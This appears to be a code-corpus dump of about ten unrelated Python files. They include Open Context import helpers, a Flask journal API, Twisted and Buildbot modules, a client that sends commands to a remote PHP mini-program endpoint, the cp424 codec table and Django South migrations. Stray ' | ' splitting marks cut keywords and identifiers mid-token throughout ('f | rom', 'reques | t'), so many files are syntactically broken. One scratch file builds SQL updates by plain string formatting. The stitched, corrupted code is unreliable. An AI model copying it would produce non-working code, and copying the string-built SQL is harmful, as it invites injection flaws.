pred_uuid = '636239c2-b90c-4b62-9720-2221e4a56742'
pt = ProcessTypes(source_id)
type_f = 1
start_f = 2
stop_f = 3
pt.make_type_event_from_type_label_records(pred_uuid, type_f, start_f, stop_f)
from opencontext_py.apps.ocitems.assertions.event import EventAssertions
eva = EventAssertions()
project_uuid = 'd1c85af4-c870-488a-865b-b3cf784cfc60'
eva.process_unused_type_events(project_uuid)
from opencontext_py.apps.ldata.eol.api import eolAPI
from opencontext_py.apps.ldata.linkentities.models import LinkEntity
eol_api = eolAPI()
bad_ents = LinkEntity.objects.filter(label='Apororhynchida', vocab_uri='http://eol.org/')
for bad_ent in bad_ents:
labels = eol_api.get_labels_for_uri(bad_ent.uri)
if isinstance(labels, dict):
bad_ent.label = labels['label']
bad_ent.alt_label = labels['alt_label']
bad_ent.save()
"""
# default predicate for subject item is subordinate to object item
PRED_SBJ_IS_SUB_OF_OBJ = 'skos:broader'
def __init__(self, source_id):
self.source_id = source_id
pg = ProcessGeneral(source_id)
pg.get_source()
self.project_uuid = pg.project_uuid
self.types_fields = False
self.start_field = False
self.stop_field = False
self.start_row = 1
self.batch_size = 250
self.end_row = self.batch_size
self.example_size = 5
def clear_source(self):
""" Clears a prior import if the start_row is 1.
This makes sure new entities and assertions are made for
this source_id, and we don't duplicate things
"""
if self.start_row <= 1:
# get rid of "subjects" related assertions made from this source
unimport = UnImport(self.source_id,
self.project_uuid)
# to do, figure out the unimport
def make_type_ld_annotations(self,
sub_type_pred_uuid,
sub_type_f_num,
rel_pred,
obj_le_f_num):
""" Makes linked data annotations
for a type in an import
"""
rels = []
sub_type_list = ImportCell.objects\
.filter(source_id=self.source_id,
field_num=sub_type_f_num)
if len(sub_type_list) > 0:
distinct_records = {}
for cell in sub_type_list:
if cell.rec_hash not in distinct_records:
distinct_records[cell.rec_hash] = {}
distinct_records[cell.rec_hash]['rows'] = []
distinct_records[cell.rec_hash]['imp_cell_obj'] = cell
distinct_records[cell.rec_hash]['rows'].append(cell.row_num)
for rec_hash_key, distinct_type in distinct_records.items():
# iterate through the distinct types and get associated linked data
type_label = distinct_type['imp_cell_obj'].record
rows = distinct_type['rows']
if len(type_label) > 0:
# the type isn't blank, so we can use it
pc = ProcessCells(self.source_id, 0)
ld_entities = pc.get_field_records(obj_le_f_num, rows)
for ld_hash_key, distinct | _ld in ld_entities.items():
obj_uri = distinct_ld['imp_cell_obj'].record
if len(obj_uri) > 8:
| if obj_uri[:7] == 'http://'\
or obj_uri[:8] == 'https://':
# we have a valid linked data entity
#
# now get the UUID for the type
tm = TypeManagement()
tm.project_uuid = self.project_uuid
tm.source_id = self.source_id
sub_type = tm.get_make_type_within_pred_uuid(sub_type_pred_uuid,
type_label)
rel = {'subject_label': type_label,
'subject': sub_type.uuid,
'object_uri': obj_uri}
rels.append(rel)
if len(rels) > 0:
for rel in rels:
new_la = LinkAnnotation()
new_la.subject = rel['subject']
new_la.subject_type = 'types'
new_la.project_uuid = self.project_uuid
new_la.source_id = self.source_id
new_la.predicate_uri = rel_pred
new_la.object_uri = rel['object_uri']
new_la.creator_uuid = ''
new_la.save()
web_le = WebLinkEntity()
web_le.check_add_link_entity(rel['object_uri'])
def make_type_relations(self, sub_type_pred_uuid,
sub_type_f_num,
rel_pred,
obj_type_pred_uuid,
obj_type_f_num):
""" Makes semantic relationships between
different types in an import
"""
rels = {}
sub_type_list = ImportCell.objects\
.filter(source_id=self.source_id,
field_num=sub_type_f_num)
for sub_type_obj in sub_type_list:
|
ilogue/niprov | niprov/mediumfile.py | Python | bsd-3-clause | 750 | 0 | from niprov.formatxml import XmlFormat
from niprov.formatjson import JsonFormat
from niprov.pictures import PictureCache
class FileMedium(object):
def __init__(self, dependencies):
self.filesys = dependencies.getFilesystem()
self.clock = dependencies.getC | lock()
self.listener = dependencies.getListener()
def export( | self, formattedProvenance, form):
if isinstance(form, PictureCache):
fname = formattedProvenance
else:
fname = 'provenance_{0}.{1}'.format(self.clock.getNowString(),
form.fileExtension)
self.filesys.write(fname, formattedProvenance)
self.listener.exportedToFile(fname)
return fname
|
invitecomm/asterisk-ivr | pigeonhole/junk.py | Python | gpl-3.0 | 1,356 | 0.00816 | #! /usr/bin/env python
# -*- coding: utf-8 -*-
# vim: set et sw=4 fenc=utf-8:
#
# Copyright 2016 INVITE Communications Co., Ltd. All Rights Reserved.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that | it will be useful,
# but WITHOUT ANY WARRANTY; without even the | implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
"""AGI script that renders speech to text using Google Cloud Speech API
using the REST API."""
# [START import_libraries]
from __future__ import print_function
#db_insert = ("INSERT INTO `%s` (`id`, `%s`) VALUES ('%s', '%s')")
db_update = ("UPDATE `{0}` SET `{1}` = '{2}' WHERE id = {3}")
db_int = ("UPDATE `{0}` SET `{1}` = `{1}` + {2} WHERE id = {3}")
#data_insert(db_update % (newTable, 'billsec', '%s' % (billsec), warlist))
data = { 'table': 'tableName', 'field': 'billsec', 'value' : 10, 'id' : 1121 }
print(db_update.format(1,2,3,'カタカナ'))
|
meren/anvio | anvio/migrations/profile/v28_to_v29.py | Python | gpl-3.0 | 1,741 | 0.006318 | #!/usr/bin/env python
# -*- coding: utf-8
import sys
import argparse
import anvio.db as db
import anvio.utils as utils
import anvio.terminal as terminal
f | rom anvio.errors import ConfigError
run = terminal.Run()
progress = terminal.Progress()
current_version, next_version = [x[1:] for x in __name__.split('_to_')]
def migrate(db_ | path):
if db_path is None:
raise ConfigError("No database path is given.")
# make sure someone is not being funny
utils.is_profile_db(db_path)
# make sure the version is accurate
profile_db = db.DB(db_path, None, ignore_version = True)
if str(profile_db.get_version()) != current_version:
raise ConfigError("Version of this profile database is not %s (hence, this script cannot really do anything)." % current_version)
profile_db._exec('ALTER TABLE "item_orders" ADD COLUMN "additional" text')
profile_db._exec('UPDATE "item_orders" SET "additional" = "{}"')
# set the version
profile_db.remove_meta_key_value_pair('version')
profile_db.set_version(next_version)
# bye
profile_db.disconnect()
progress.end()
run.info_single('Your profile db is now %s, and you know this deserves a celebration.' % next_version, nl_after=1, nl_before=1, mc='green')
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='A simple script to upgrade profile database from version %s to version %s' % (current_version, next_version))
parser.add_argument('profile_db', metavar = 'PROFILE_DB', help = "An anvi'o profile database of version %s" % current_version)
args, unknown = parser.parse_known_args()
try:
migrate(args.profile_db)
except ConfigError as e:
print(e)
sys.exit(-1)
|
mrcrilly/Journal | journal/api.py | Python | mit | 1,370 | 0.013869 |
import json
import routing
from werkzeug.local import LocalProxy
from flask import Blueprint, request, current_app
blueprint = Blueprint('journal-api', __name__)
logging = L | ocalProxy(lambda: current_app.config['logging'])
@blueprint.errorhandler(404)
def return_404(e):
return {
'err': 'Page not found.'
}, 404
@blueprint.route("/api/journal", methods=['GET', 'POST'])
def journal():
if reques | t.method == 'POST':
results, success = routing.journal_post(json.loads(request.data))
if not success:
return json.dumps(results), 500
else:
logging.LogMessage(results)
return json.dumps(results), 201
if request.method == 'GET':
results, success = routing.journal_get_all()
if success:
return json.dumps(results), 200
else:
logging.LogMessage(results)
return json.dumps(results), 500
@blueprint.route("/api/journal/<string:journal_id>", methods=['GET'])
def journal_id(journal_id):
results, success = routing.journal_get_one(journal_id)
if success:
return json.dumps(results), 200
else:
logging.LogMessage(results)
return json.dumps(results), 404
@blueprint.route("/api/logs", methods=['GET'])
def logs():
results, success = logging.RetrieveLogs()
if success:
return json.dumps(results), 200
else:
logs.LogMessage(results)
return json.dumps(results), 404
|
EricMuller/mynotes-backend | requirements/twisted/Twisted-17.1.0/src/twisted/conch/mixin.py | Python | mit | 1,374 | 0.002911 | # -*- test-case-name: twisted.conch.test.test | _mixin -*-
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.
"""
Experimental optimization
This module provides a single mixin class which allows protocols to
collapse | numerous small writes into a single larger one.
@author: Jp Calderone
"""
from twisted.internet import reactor
class BufferingMixin:
"""
Mixin which adds write buffering.
"""
_delayedWriteCall = None
data = None
DELAY = 0.0
def schedule(self):
return reactor.callLater(self.DELAY, self.flush)
def reschedule(self, token):
token.reset(self.DELAY)
def write(self, data):
"""
Buffer some bytes to be written soon.
Every call to this function delays the real write by C{self.DELAY}
seconds. When the delay expires, all collected bytes are written
to the underlying transport using L{ITransport.writeSequence}.
"""
if self._delayedWriteCall is None:
self.data = []
self._delayedWriteCall = self.schedule()
else:
self.reschedule(self._delayedWriteCall)
self.data.append(data)
def flush(self):
"""
Flush the buffer immediately.
"""
self._delayedWriteCall = None
self.transport.writeSequence(self.data)
self.data = None
|
Lekensteyn/buildbot | master/buildbot/master.py | Python | gpl-2.0 | 20,742 | 0.000482 | # This file is part of Buildbot. Buildbot is free software: you can
# redistribute it and/or modify it under the terms of the GNU General Public
# License as published by the Free Software Foundation, version 2.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
# details.
#
# You should have received a copy of the GNU General Public License along with
# this program; if not, write to the Free Software Foundation, Inc., 51
# Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
#
# Copyright Bu | ildbot Team Members
from __future__ import absolute_import
from __future__ import print_function
from future.utils import iteritems
import datetime
import os
import signal
import socket
from twisted.application import internet
f | rom twisted.internet import defer
from twisted.internet import task
from twisted.internet import threads
from twisted.python import components
from twisted.python import failure
from twisted.python import log
from zope.interface import implementer
import buildbot
import buildbot.pbmanager
from buildbot import config
from buildbot import interfaces
from buildbot import monkeypatches
from buildbot.buildbot_net_usage_data import sendBuildbotNetUsageData
from buildbot.changes import changes
from buildbot.changes.manager import ChangeManager
from buildbot.data import connector as dataconnector
from buildbot.db import connector as dbconnector
from buildbot.db import exceptions
from buildbot.mq import connector as mqconnector
from buildbot.process import cache
from buildbot.process import debug
from buildbot.process import metrics
from buildbot.process.botmaster import BotMaster
from buildbot.process.builder import BuilderControl
from buildbot.process.users.manager import UserManagerManager
from buildbot.schedulers.manager import SchedulerManager
from buildbot.secrets.manager import SecretManager
from buildbot.status.master import Status
from buildbot.util import ascii2unicode
from buildbot.util import check_functional_environment
from buildbot.util import datetime2epoch
from buildbot.util import service
from buildbot.util.eventual import eventually
from buildbot.wamp import connector as wampconnector
from buildbot.worker import manager as workermanager
from buildbot.worker_transition import WorkerAPICompatMixin
from buildbot.www import service as wwwservice
class LogRotation(object):
def __init__(self):
self.rotateLength = 1 * 1000 * 1000
self.maxRotatedFiles = 10
class BuildMaster(service.ReconfigurableServiceMixin, service.MasterService,
WorkerAPICompatMixin):
# frequency with which to reclaim running builds; this should be set to
# something fairly long, to avoid undue database load
RECLAIM_BUILD_INTERVAL = 10 * 60
# multiplier on RECLAIM_BUILD_INTERVAL at which a build is considered
# unclaimed; this should be at least 2 to avoid false positives
UNCLAIMED_BUILD_FACTOR = 6
def __init__(self, basedir, configFileName=None, umask=None, reactor=None, config_loader=None):
service.AsyncMultiService.__init__(self)
if reactor is None:
from twisted.internet import reactor
self.reactor = reactor
self.setName("buildmaster")
self.umask = umask
self.basedir = basedir
if basedir is not None: # None is used in tests
assert os.path.isdir(self.basedir)
if config_loader is not None and configFileName is not None:
raise config.ConfigErrors([
"Can't specify both `config_loader` and `configFilename`.",
])
elif config_loader is None:
if configFileName is None:
configFileName = 'master.cfg'
config_loader = config.FileLoader(self.basedir, configFileName)
self.config_loader = config_loader
self.configFileName = configFileName
# flag so we don't try to do fancy things before the master is ready
self._master_initialized = False
# set up child services
self.create_child_services()
# db configured values
self.configured_db_url = None
# configuration / reconfiguration handling
self.config = config.MasterConfig()
self.reconfig_active = False
self.reconfig_requested = False
self.reconfig_notifier = None
# this stores parameters used in the tac file, and is accessed by the
# WebStatus to duplicate those values.
self.log_rotation = LogRotation()
# local cache for this master's object ID
self._object_id = None
# Check environment is sensible
check_functional_environment(self.config)
# figure out local hostname
try:
self.hostname = os.uname()[1] # only on unix
except AttributeError:
self.hostname = socket.getfqdn()
# public attributes
self.name = ("%s:%s" % (self.hostname,
os.path.abspath(self.basedir or '.')))
if isinstance(self.name, bytes):
self.name = self.name.decode('ascii', 'replace')
self.masterid = None
def create_child_services(self):
# note that these are order-dependent. If you get the order wrong,
# you'll know it, as the master will fail to start.
self.metrics = metrics.MetricLogObserver()
self.metrics.setServiceParent(self)
self.caches = cache.CacheManager()
self.caches.setServiceParent(self)
self.pbmanager = buildbot.pbmanager.PBManager()
self.pbmanager.setServiceParent(self)
self.workers = workermanager.WorkerManager(self)
self.workers.setServiceParent(self)
self.change_svc = ChangeManager()
self.change_svc.setServiceParent(self)
self.botmaster = BotMaster()
self.botmaster.setServiceParent(self)
self.scheduler_manager = SchedulerManager()
self.scheduler_manager.setServiceParent(self)
self.user_manager = UserManagerManager(self)
self.user_manager.setServiceParent(self)
self.db = dbconnector.DBConnector(self.basedir)
self.db.setServiceParent(self)
self.wamp = wampconnector.WampConnector()
self.wamp.setServiceParent(self)
self.mq = mqconnector.MQConnector()
self.mq.setServiceParent(self)
self.data = dataconnector.DataConnector()
self.data.setServiceParent(self)
self.www = wwwservice.WWWService()
self.www.setServiceParent(self)
self.debug = debug.DebugServices()
self.debug.setServiceParent(self)
self.status = Status()
self.status.setServiceParent(self)
self.secrets_manager = SecretManager()
self.secrets_manager.setServiceParent(self)
self.service_manager = service.BuildbotServiceManager()
self.service_manager.setServiceParent(self)
self.service_manager.reconfig_priority = 1000
self.masterHouskeepingTimer = 0
@defer.inlineCallbacks
def heartbeat():
if self.masterid is not None:
yield self.data.updates.masterActive(name=self.name,
masterid=self.masterid)
# force housekeeping once a day
self.masterHouskeepingTimer += 1
yield self.data.updates.expireMasters(
forceHouseKeeping=(self.masterHouskeepingTimer % (24 * 60)) == 0)
self.masterHeartbeatService = internet.TimerService(60, heartbeat)
# we do setServiceParent only when the master is configured
# master should advertise itself only at that time
# setup and reconfig handling
_already_started = False
@defer.inlineCallbacks
def startService(self):
assert not self._already_started, "can only start the master once"
self._already_started = True
log.msg("Starting BuildMaster -- buildbot.version: %s" %
buildbot.version) |
polymorphm/php-miniprog-shell | lib_php_miniprog_shell_2011_12_17/main.py | Python | gpl-3.0 | 4,746 | 0.007164 | # -*- mode: python; coding: utf-8 -*-
#
# Copyright 2011 Andrej A Antonov <polymorphm@gmail.com>.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
assert str is not bytes
import sys, os.path, \
importlib, functools, traceback, argparse, configparser, \
threading
import tornado.ioloop
import tornado.stack_context
_local = threading.local()
COMMAND_LIST = (
'php-func',
'pwd',
'ls',
'view',
'rm',
'mv',
'cp',
'ln',
'readlink',
'mkdir',
'rmdir',
'get',
'put',
)
DEFAULT_CONFIG_FILENAME = 'php-miniprog-shell.cfg'
class UserError(Exception):
pass
class CmdError(Exception):
pass
def get_package_name():
return '.'.join(__name__.split('.')[:-1])
def import_module(name):
return importlib.import_module(name, package=get_package_name())
def import_cmd_module(cmd):
cmd_module_name = '.{}_cmd'.format(cmd.replace('-', '_'))
return import_module(cmd_module_name)
def import_argparse_module(cmd):
cmd_module_name = '.{}_argparse'.format(cmd.replace('-', '_'))
return import_module(cmd_module_name)
def cmd_add_argument(cmd, subparsers):
try:
cmd_module = import_argparse_module(cmd)
except ImportError:
cmd_module = None
description = getattr(cmd_module, 'DESCRIPTION', None)
help = getattr(cmd_module, 'HELP', None)
| add_arguments_func = getattr(cmd_module, 'add_arguments', None)
cmd_parser = subparsers.add_parser(cmd, help=help, description=description)
cmd_parser.set_defaults(cmd=cmd)
if add_arguments_func is not None:
add_arguments_func(cmd_parser)
return help
def get_config_path(args):
config_path = args.config
if config_path | is None:
config_path = os.path.join(
os.path.dirname(sys.argv[0]),
DEFAULT_CONFIG_FILENAME)
return config_path
def program_exit(code=None):
tornado.ioloop.IOLoop.instance().stop()
if code is not None:
_local.exit_code = code
def on_finish():
program_exit()
def on_error(e_type, e_value, e_traceback):
try:
raise e_value
except UserError as e:
print('UserError: {}'.format(e), file=sys.stderr)
program_exit(code=2)
except CmdError as e:
print('CmdError ({}): {}'.format(type(e), e), file=sys.stderr)
program_exit(code=1)
except Exception as e:
traceback.print_exc()
program_exit(code=1)
def main():
with tornado.stack_context.ExceptionStackContext(on_error):
parser = argparse.ArgumentParser(
description='utility for sending commands to remote php www-site')
parser.add_argument(
'--config',
help='custom path to config ini-file')
parser.add_argument(
'--miniprog-host',
help='host name (and port) of www-site with miniprog-processor php-file')
parser.add_argument(
'--miniprog-path',
help='path to miniprog-processor php-file')
parser.add_argument(
'--miniprog-https',
action='store_true',
help='using HTTPS')
parser.add_argument(
'--miniprog-proxy-host',
help='host (and port) for connection via proxy')
parser.add_argument(
'--debug-last-miniprog',
help='path to local-file for outputting last mini-program')
subparsers = parser.add_subparsers(title='subcommands')
for cmd in COMMAND_LIST:
cmd_add_argument(cmd, subparsers)
args = parser.parse_args()
config = configparser.ConfigParser(
interpolation=configparser.ExtendedInterpolation())
config.read(get_config_path(args))
cmd = args.cmd
cmd_module = import_cmd_module(cmd)
cmd_module.cmd(args, config, callback=on_finish)
io_loop = tornado.ioloop.IOLoop.instance().start()
try:
return _local.exit_code
except AttributeError:
pass
|
Microvellum/Fluid-Designer | win64-vc/2.78/python/lib/encodings/cp424.py | Python | gpl-3.0 | 12,055 | 0.023559 | """ Python Character Mapping Codec cp424 generated from 'MAPPINGS/VENDORS/MISC/CP424.TXT' with gencodec.py.
"""#"
import codecs
### Codec APIs
class Codec(codecs.Codec):
def encode(self,input,errors='strict'):
return codecs.charmap_encode(input,errors,encoding_table)
def decode(self,input,errors='strict'):
return codecs.charmap_decode(input,errors,decoding_table)
class IncrementalEncoder(codecs.IncrementalEncoder):
def encode(self, input, final=False):
return codecs.charmap_encode(input,self.errors,encoding_table)[0]
class IncrementalDecoder(codecs.IncrementalDecoder):
def decode(self, input, final=False):
return codecs.charmap_decode(input,self.errors,decoding_table)[0]
class StreamWriter(Codec,codecs.StreamWriter):
pass
class StreamReader(Codec,codecs.StreamReader):
pass
### encodings module API
def getregentry():
return codecs.CodecInfo(
name='cp424',
encode=Codec().encode,
decode=Codec().decode,
incrementalencoder=IncrementalEncoder,
incrementaldecoder=IncrementalDecoder,
streamreader=StreamReader,
streamwriter=StreamWriter,
)
### Decoding Table
decoding_table = (
'\x00' # 0x00 -> NULL
'\x01' # 0x01 -> START OF HEADING
'\x02' # 0x02 -> START OF TEXT
'\x03' # 0x03 -> END OF TEXT
'\x9c' # 0x04 -> SELECT
'\t' # 0x05 -> HORIZONTAL TABULATION
'\x86' # 0x06 -> REQUIRED NEW LINE
'\x7f' # 0x07 -> DELETE
'\x97' # 0x08 -> GRAPHIC ESCAPE
'\x8d' # 0x09 -> SUPERSCRIPT
'\x8e' # 0x0A -> REPEAT
'\x0b' # 0x0B -> VERTICAL TABULATION
'\x0c' # 0x0C -> FORM FEED
'\r' # 0x0D -> CARRIAGE RETURN
'\x0e' # 0x0E -> SHIFT OUT
'\x0f' # 0x0F -> SHIFT IN
'\x10' # 0x10 -> DATA LINK ESCAPE
'\x11' # 0x11 -> DEVICE CONTROL ONE
'\x12' # 0x12 -> DEVICE CONTROL TWO
'\x13' # 0x13 -> DEVICE CONTROL THREE
'\x9d' # 0x14 -> RESTORE/ENABLE PRESENTATION
'\x85' # 0x15 -> NEW LINE
'\x08' # 0x16 -> BACKSPACE
'\x87' # 0x17 -> PROGRAM OPERATOR COMMUNICATION
'\x18' # 0x18 -> CANCEL
'\x19' # 0x19 -> END OF MEDIUM
'\x92' # 0x1A -> UNIT BACK SPACE
'\x8f' # 0x1B -> CUSTOMER USE ONE
'\x1c' # 0x1C -> FILE SEPARATOR
'\x1d' # 0x1D -> GROUP SEPARATOR
'\x1e' # 0x1E -> RECORD SEPARATOR
'\x1f' # 0x1F -> UNIT SEPARATOR
'\x80' # 0x20 -> DIGIT SELECT
'\x81' # 0x21 -> START OF SIGNIFICANCE
'\x82' # 0x22 -> FIELD SEPARATOR
'\x83' # 0x23 -> WORD UNDERSCORE
'\x84' # 0x24 -> BYPASS OR INHIBIT PRESENTATION
'\n' # 0x25 -> LINE FEED
'\x17' # 0x26 -> END OF TRANSMISSION BLOCK
'\x1b' # 0x27 -> ESCAPE
'\x88' # 0x28 -> SET ATTRIBUTE
'\x89' # 0x29 -> START FIELD EXTENDED
'\x8a' # 0x2A -> SET MODE OR SWITCH
'\x8b' # 0x2B -> CONTROL SEQUENCE PREFIX
'\x8c' # 0x2C -> MODIFY FIELD ATTRIBUTE
'\x05' # 0x2D -> ENQUIRY
'\x06' # 0x2E -> ACKNOWLEDGE
'\x07' # 0x2F -> BELL
'\x90' # 0x30 -> <reserved>
'\x91' # 0x31 -> <reserved>
'\x16' # 0x32 -> SYNCHRONOUS IDLE
'\x93' # 0x33 -> INDEX RETURN
'\x94' # 0x34 -> PRESENTATION POSITION
'\x95' # 0x35 -> TRANSPARENT
'\x96' # 0x36 -> NUMERIC BACKSPACE
'\x04' # 0x37 -> END OF TRANSMISSION
'\x98' # 0x38 -> SUBSCRIPT
'\x99' # 0x39 -> INDENT TABULATION
'\x9a' # 0x3A -> REVERSE FORM FEED
'\x9b' # 0x3B -> CUSTOMER USE THREE
'\x14' # 0x3C -> DEVICE CONTROL FOUR
'\x15' # 0x3D -> NEGATIVE ACKNOWLEDGE
'\x9e' # 0x3E -> <reserved>
'\x1a' # 0x3F -> SUBSTITUTE
' ' # 0x40 -> SPACE
'\u05d0' # 0x41 -> HEBREW LETTER ALEF
'\u05d1' # 0x42 -> HEBREW LETTER BET
'\u05d2' # 0x43 -> HEBREW LETTER GIMEL
'\u05d3' # 0x44 -> HEBREW LETTER DALET
'\u05d4' # 0x45 -> HEBREW LETTER HE
'\u05d5' # 0x46 -> HEBREW LETTER VAV
'\u05d6' # 0x47 -> HEBREW LETTER ZAYIN
'\u05d7' # 0x48 -> HEBREW LETTER HET
'\u05d8' # 0x49 -> HEBREW LETTER TET
'\xa2' # 0x4A -> CENT SIGN
'.' # 0x4B -> FULL STOP
'<' # 0x4C -> LESS-THAN SIGN
'(' # 0x4D -> LEFT PARENTHESIS
'+' # 0x4E -> PLUS SIGN
'|' # 0x4F -> VERTICAL LINE
'&' # 0x50 -> AMPERSAND
'\u05d9' # 0x51 -> HEBREW LETTER YOD
'\u05da' # 0x52 -> HEBREW LETTER FINAL KAF
'\u05db' # 0x53 -> HEBREW LETTER KAF
'\u05dc' # 0x54 -> HEBREW LETTER LAMED
'\u05dd' # 0x55 -> HEBREW LETTER FINAL MEM
'\u05de' # 0x56 -> HEBREW LETTER MEM
'\u05df' # 0x57 -> HEBREW LETTER FINAL NUN
'\u05e0' # 0x58 -> HEBREW LETTER NUN
'\u05e1' # 0x59 -> HEBREW LETTER SAMEKH
'!' # 0x5A -> EXCLAMATION MARK
'$' # 0x5B -> DOLLAR SIGN
'*' # 0x5C -> ASTERISK
')' # 0x5D -> RIGHT PARENTHESIS
';' # 0x5E -> SEMICOLON
'\xac' # 0x5F -> NOT SIGN
'-' # 0x60 -> HYPHEN-MINUS
'/' # 0x61 -> SOLIDUS
'\u05e2' # 0x62 -> HEBREW LETTER AYIN
'\u05e3' # 0x63 -> HEBREW LETTER FINAL PE
'\u05e4' # 0x64 -> HEBREW LETTER PE
'\u05e5' # 0x65 -> HEBREW LETTER FINAL TSADI
'\u05e6' # 0x66 -> HEBREW LETTER TSADI
'\u05e7' # 0x67 -> HEBREW LETTER QOF
'\u05e8' # 0x68 -> HEBREW LETTER RESH
'\u05e9' # 0x69 -> HEBREW LETTER SHIN
'\xa6' # 0x6A -> BROKEN BAR
',' # 0x6B -> COMMA
'%' # 0x6C -> PERCENT SIGN
'_' # 0x6D -> LOW LINE
'>' # 0x6E -> GREATER-THAN SIGN
'?' # 0x6F -> QUESTION MARK
'\ufffe' # 0x70 -> UNDEFINED
'\u05ea' # 0x71 -> HEBREW LETTER TAV
'\ufffe' # 0x72 -> UNDEFINED
'\ufffe' # 0x73 -> UNDEFINED
'\xa0' # 0x74 -> NO-BREAK SPACE
'\ufffe' # 0x75 -> UNDEFINED
'\ufffe' # 0x76 -> UNDEFINED
'\ufffe' # 0x77 -> UNDEFINED
'\u2017' # 0x78 -> DOUBLE LOW LINE
'`' # 0x79 -> GRAVE ACCENT
':' # 0x7A -> COLON
'#' # 0x7B -> NUMBER SIGN
'@' # 0x7C -> COMMERCIAL AT
"'" # 0x7D -> APOSTROPHE
'=' # 0x7E -> EQUALS SIGN
'"' # 0x7F -> QUOTATION MARK
'\ufffe' # 0x80 -> UNDEFINED
'a' # 0x81 -> LATIN SMALL LETTER A
'b' # 0x82 -> LATIN SMALL LETTER B
'c' # 0x83 -> LATIN SMALL LETTER C
'd' # 0x84 -> LATIN SMALL LETTER D
'e' # 0x85 -> LATIN SMALL LETTER E
'f' # 0x86 -> LATIN SMALL LETTER F
'g' # 0x87 -> LATIN SMALL LETTER G
'h' # 0x88 -> LATIN SMALL LETTER H
'i' # 0x89 -> LATIN SMALL LETTER I
'\xab' # 0x8A -> LEFT-POINTING DOUBLE ANGLE QUOTATIO | N MARK
'\xbb' # 0x8B -> RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK
'\ufffe' # 0x8C -> UNDEFINED
'\ufffe' # 0x8D -> UNDEFINED
'\u | fffe' # 0x8E -> UNDEFINED
'\xb1' # 0x8F -> PLUS-MINUS SIGN
'\xb0' # 0x90 -> DEGREE SIGN
'j' # 0x91 -> LATIN SMALL LETTER J
'k' # 0x92 -> LATIN SMALL LETTER K
'l' # 0x93 -> LATIN SMALL LETTER L
'm' # 0x94 -> LATIN SMALL LETTER M
'n' # 0x95 -> LATIN SMALL LETTER N
'o' # 0x96 -> LATIN SMALL LETTER O
'p' # 0x97 -> LATIN SMALL LETTER P
'q' # 0x98 -> LATIN SMALL LETTER Q
'r' # 0x99 -> LATIN SMALL LETTER R
'\ufffe' # 0x9A -> UNDEFINED
'\ufffe' # 0x9B -> UNDEFINED
'\ufffe' # 0x9C -> UNDEFINED
'\xb8' # 0x9D -> CEDILLA
'\ufffe' # 0x9E -> UNDEFINED
'\xa4' # 0x9F -> CURRENCY SIGN
'\xb5' # 0xA0 -> MICRO SIGN
'~' # 0xA1 -> TILDE
's' # 0xA2 -> LATIN SMALL LETTER S
't' # 0xA3 -> LATIN SMALL LETTER T
'u' # 0xA4 -> LATIN SMALL LETTER U
'v' # 0xA5 -> LATIN SMALL LET |
Karaage-Cluster/karaage-debian | karaage/legacy/applications/south_migrations/0004_auto__add_field_application_content_type__add_field_application_object.py | Python | gpl-3.0 | 17,096 | 0.007136 | # encoding: utf-8
from south.db import db
from south.v2 import SchemaMigration
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding field 'Application.content_type'
db.add_column('applications_application', 'content_type', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['contenttypes.ContentType'], null=True, blank=True), keep_default=False)
# Adding field 'Application.object_id'
db.add_column('applications_application', 'object_id', self.gf('django.db.models.fields.PositiveIntegerField')(null=True, blank=True), keep_default=False)
# Deleting field 'UserApplication.object_id'
db.delete_column('applications_userapplication', 'object_id')
# Deleting field 'UserApplication.content_type'
db.delete_column('applications_userapplication', 'content_type_id')
def backwards(self, orm):
# Deleting field 'Application.content_type'
db.delete_column('applications_application', 'content_type_id')
# Deleting field 'Application.object_id'
db.delete_column('applications_application', 'object_id')
# Adding field 'UserApplication.object_id'
db.add_column('applications_userapplication', 'object_id', self.gf('django.db.models.fields.PositiveIntegerField')(null=True, blank=True), keep_default=False)
# Adding field 'UserApplication.content_type'
db.add_column('applications_userapplication', 'content_type', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['contenttypes.ContentType'], null=True, blank=True), keep_default=False)
models = {
'applications.applicant': {
'Meta': {'object_name': 'Applicant'},
'address': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}),
'city': ('django.db.models.fields.CharField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}),
'country': ('django.db.models.fields.CharField', [], {'max_length': '2', 'null': 'True', 'blank': 'True'}),
'department': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}),
'email': ('django.db.models.fields.EmailField', [], {'max_length': '75'}),
'fax': ('django.db.models.fields.CharField', [], {'max_length': '50', 'null': 'True', 'blank': 'True'}),
'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'institute': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['people.Institute']", 'null': 'True', 'blank': 'True'}),
'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'null': 'True', 'blank': 'True'}),
'mobile': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}),
'password': ('django.db.models.fields.CharField', [], {'max_length': '128', 'null': 'True', 'blank': 'True'}),
